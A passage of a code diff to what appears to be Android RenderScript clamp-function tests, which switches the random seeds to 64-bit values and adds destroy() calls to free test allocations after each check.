@@ -3668,9 +3875,9 @@
     }
 
     private void checkClampChar3CharCharChar3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x65a26ee5l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x492789dfl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xda847be5l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 3, 0x4aa68c1b65a26ee5l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x8b4b9ea0492789dfl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x8b4b9e94da847be5l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 3), INPUTSIZE);
@@ -3678,6 +3885,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampChar3CharCharChar3(inValue, out);
             verifyResultsClampChar3CharCharChar3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar3CharCharChar3: " + e.toString());
         }
@@ -3687,9 +3895,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampChar3CharCharChar3(inValue, out);
             verifyResultsClampChar3CharCharChar3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar3CharCharChar3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampChar3CharCharChar3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3757,9 +3969,9 @@
     }
 
     private void checkClampChar4CharCharChar4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0x4eed37f9l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xce97385bl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0x5ff42a61l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 4, 0xbec4cc7b4eed37f9l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xda9eba33ce97385bl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_8, 1, 0xda9eba285ff42a61l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_8, 4), INPUTSIZE);
@@ -3767,6 +3979,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampChar4CharCharChar4(inValue, out);
             verifyResultsClampChar4CharCharChar4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar4CharCharChar4: " + e.toString());
         }
@@ -3776,9 +3989,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampChar4CharCharChar4(inValue, out);
             verifyResultsClampChar4CharCharChar4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampChar4CharCharChar4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampChar4CharCharChar4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3846,9 +4063,9 @@
     }
 
     private void checkClampUchar2UcharUcharUchar2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xf02e0d63l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0xe9402039l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x7a9d123fl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 2, 0xafd4a680f02e0d63l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x78bbbcb3e9402039l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x78bbbca87a9d123fl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 2), INPUTSIZE);
@@ -3856,6 +4073,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUchar2UcharUcharUchar2(inValue, out);
             verifyResultsClampUchar2UcharUcharUchar2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar2UcharUcharUchar2: " + e.toString());
         }
@@ -3865,9 +4083,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUchar2UcharUcharUchar2(inValue, out);
             verifyResultsClampUchar2UcharUcharUchar2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar2UcharUcharUchar2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUchar2UcharUcharUchar2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -3935,9 +4157,9 @@
     }
 
     private void checkClampUchar3UcharUcharUchar3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0x68ea3ae9l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x1c6e882bl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0xadcb7a31l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 3, 0xfedafacc68ea3ae9l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x8371883e1c6e882bl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x83718832adcb7a31l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 3), INPUTSIZE);
@@ -3945,6 +4167,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUchar3UcharUcharUchar3(inValue, out);
             verifyResultsClampUchar3UcharUcharUchar3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar3UcharUcharUchar3: " + e.toString());
         }
@@ -3954,9 +4177,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUchar3UcharUcharUchar3(inValue, out);
             verifyResultsClampUchar3UcharUcharUchar3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar3UcharUcharUchar3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUchar3UcharUcharUchar3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4024,9 +4251,9 @@
     }
 
     private void checkClampUchar4UcharUcharUchar4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0xe1a6686fl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x4f9cf01dl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0xe0f9e223l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 4, 0x4de14f17e1a6686fl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x8e2753c84f9cf01dl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_8, 1, 0x8e2753bce0f9e223l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_8, 4), INPUTSIZE);
@@ -4034,6 +4261,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUchar4UcharUcharUchar4(inValue, out);
             verifyResultsClampUchar4UcharUcharUchar4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar4UcharUcharUchar4: " + e.toString());
         }
@@ -4043,9 +4271,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUchar4UcharUcharUchar4(inValue, out);
             verifyResultsClampUchar4UcharUcharUchar4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUchar4UcharUcharUchar4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUchar4UcharUcharUchar4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4113,9 +4345,9 @@
     }
 
     private void checkClampShort2ShortShortShort2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0xeae2d6a9l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xcaca776bl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x5c276971l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 2, 0x89e3627eae2d6a9l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x886d6d2ccaca776bl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x886d6d215c276971l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 2), INPUTSIZE);
@@ -4123,6 +4355,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampShort2ShortShortShort2(inValue, out);
             verifyResultsClampShort2ShortShortShort2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort2ShortShortShort2: " + e.toString());
         }
@@ -4132,9 +4365,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampShort2ShortShortShort2(inValue, out);
             verifyResultsClampShort2ShortShortShort2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort2ShortShortShort2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampShort2ShortShortShort2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4202,9 +4439,9 @@
     }
 
     private void checkClampShort3ShortShortShort3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x639f042fl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xfdf8df5dl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x8f55d163l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 3, 0x57a48a73639f042fl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x932338b6fdf8df5dl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x932338ab8f55d163l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 3), INPUTSIZE);
@@ -4212,6 +4449,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampShort3ShortShortShort3(inValue, out);
             verifyResultsClampShort3ShortShortShort3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort3ShortShortShort3: " + e.toString());
         }
@@ -4221,9 +4459,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampShort3ShortShortShort3(inValue, out);
             verifyResultsClampShort3ShortShortShort3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort3ShortShortShort3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampShort3ShortShortShort3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4291,9 +4533,9 @@
     }
 
     private void checkClampShort4ShortShortShort4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xdc5b31b5l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x3127474fl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0xc2843955l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 4, 0xa6aadebedc5b31b5l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x9dd904413127474fl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_16, 1, 0x9dd90435c2843955l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_16, 4), INPUTSIZE);
@@ -4301,6 +4543,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampShort4ShortShortShort4(inValue, out);
             verifyResultsClampShort4ShortShortShort4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort4ShortShortShort4: " + e.toString());
         }
@@ -4310,9 +4553,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampShort4ShortShortShort4(inValue, out);
             verifyResultsClampShort4ShortShortShort4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampShort4ShortShortShort4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampShort4ShortShortShort4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4380,9 +4627,9 @@
     }
 
     private void checkClampUshort2UshortUshortUshort2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x5621ef07l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xc7874965l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x58e43b6bl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 2, 0x2ece6d045621ef07l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xd88bd79cc7874965l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xd88bd79158e43b6bl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 2), INPUTSIZE);
@@ -4390,6 +4637,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUshort2UshortUshortUshort2(inValue, out);
             verifyResultsClampUshort2UshortUshortUshort2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort2UshortUshortUshort2: " + e.toString());
         }
@@ -4399,9 +4647,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUshort2UshortUshortUshort2(inValue, out);
             verifyResultsClampUshort2UshortUshortUshort2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort2UshortUshortUshort2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUshort2UshortUshortUshort2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4469,9 +4721,9 @@
     }
 
     private void checkClampUshort3UshortUshortUshort3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x7c9cd603l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xb3cf1419l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x452c061fl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 3, 0x393771467c9cd603l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xfe016431b3cf1419l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xfe016426452c061fl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 3), INPUTSIZE);
@@ -4479,6 +4731,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUshort3UshortUshortUshort3(inValue, out);
             verifyResultsClampUshort3UshortUshortUshort3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort3UshortUshortUshort3: " + e.toString());
         }
@@ -4488,9 +4741,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUshort3UshortUshortUshort3(inValue, out);
             verifyResultsClampUshort3UshortUshortUshort3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort3UshortUshortUshort3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUshort3UshortUshortUshort3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4558,9 +4815,9 @@
     }
 
     private void checkClampUshort4UshortUshortUshort4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0xa317bcffl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0xa016decdl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x3173d0d3l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 4, 0x43a07588a317bcffl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x2376f0c6a016decdl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_16, 1, 0x2376f0bb3173d0d3l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_16, 4), INPUTSIZE);
@@ -4568,6 +4825,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUshort4UshortUshortUshort4(inValue, out);
             verifyResultsClampUshort4UshortUshortUshort4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort4UshortUshortUshort4: " + e.toString());
         }
@@ -4577,9 +4835,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUshort4UshortUshortUshort4(inValue, out);
             verifyResultsClampUshort4UshortUshortUshort4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUshort4UshortUshortUshort4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUshort4UshortUshortUshort4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4647,9 +4909,9 @@
     }
 
     private void checkClampInt2IntIntInt2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0x7906d1dbl, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xfba24121l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x8cff3327l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 2, 0xbb55c0997906d1dbl, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x69776e80fba24121l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x69776e758cff3327l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 2), INPUTSIZE);
@@ -4657,6 +4919,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampInt2IntIntInt2(inValue, out);
             verifyResultsClampInt2IntIntInt2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt2IntIntInt2: " + e.toString());
         }
@@ -4666,9 +4929,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampInt2IntIntInt2(inValue, out);
             verifyResultsClampInt2IntIntInt2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt2IntIntInt2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampInt2IntIntInt2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4736,9 +5003,9 @@
     }
 
     private void checkClampInt3IntIntInt3() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0xb5370be9l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xf1a08b2bl, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x82fd7d31l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 3, 0x3af8924ab5370be9l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xdde27628f1a08b2bl, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xdde2761d82fd7d31l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 3), INPUTSIZE);
@@ -4746,6 +5013,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampInt3IntIntInt3(inValue, out);
             verifyResultsClampInt3IntIntInt3(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt3IntIntInt3: " + e.toString());
         }
@@ -4755,9 +5023,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampInt3IntIntInt3(inValue, out);
             verifyResultsClampInt3IntIntInt3(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt3IntIntInt3: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampInt3IntIntInt3(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4825,9 +5097,9 @@
     }
 
     private void checkClampInt4IntIntInt4() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xf16745f7l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0xe79ed535l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x78fbc73bl, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 4, 0xba9b63fbf16745f7l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x524d7dd0e79ed535l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.SIGNED_32, 1, 0x524d7dc578fbc73bl, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.SIGNED_32, 4), INPUTSIZE);
@@ -4835,6 +5107,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampInt4IntIntInt4(inValue, out);
             verifyResultsClampInt4IntIntInt4(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt4IntIntInt4: " + e.toString());
         }
@@ -4844,9 +5117,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampInt4IntIntInt4(inValue, out);
             verifyResultsClampInt4IntIntInt4(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampInt4IntIntInt4: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampInt4IntIntInt4(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -4914,9 +5191,9 @@
     }
 
     private void checkClampUint2UintUintUint2() {
-        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x770d5a51l, false);
-        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0xc2a180e3l, false);
-        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x53fe72e9l, false);
+        Allocation inValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 2, 0x4fd098dd770d5a51l, false);
+        Allocation inMinValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x6de3f327c2a180e3l, false);
+        Allocation inMaxValue = createRandomAllocation(mRS, Element.DataType.UNSIGNED_32, 1, 0x6de3f31c53fe72e9l, false);
         enforceOrdering(inMinValue, inMaxValue);
         try {
             Allocation out = Allocation.createSized(mRS, getElement(mRS, Element.DataType.UNSIGNED_32, 2), INPUTSIZE);
@@ -4924,6 +5201,7 @@
             script.set_gAllocInMaxValue(inMaxValue);
             script.forEach_testClampUint2UintUintUint2(inValue, out);
             verifyResultsClampUint2UintUintUint2(inValue, inMinValue, inMaxValue, out, false);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint2UintUintUint2: " + e.toString());
         }
@@ -4933,9 +5211,13 @@
             scriptRelaxed.set_gAllocInMaxValue(inMaxValue);
             scriptRelaxed.forEach_testClampUint2UintUintUint2(inValue, out);
             verifyResultsClampUint2UintUintUint2(inValue, inMinValue, inMaxValue, out, true);
+            out.destroy();
         } catch (Exception e) {
             throw new RSRuntimeException("RenderScript. Can't invoke forEach_testClampUint2UintUintUint2: " + e.toString());
         }
+        inValue.destroy();
+        inMinValue.destroy();
+        inMaxValue.destroy();
     }
 
     private void verifyResultsClampUint2UintUintUint2(Allocation inValue, Allocation inMinValue, Allocation inMaxValue, Allocation out, boolean relaxed) {
@@ -5003,9 +5285,9 @@
     }
 
     private void checkClampUint3UintUintUint3() {
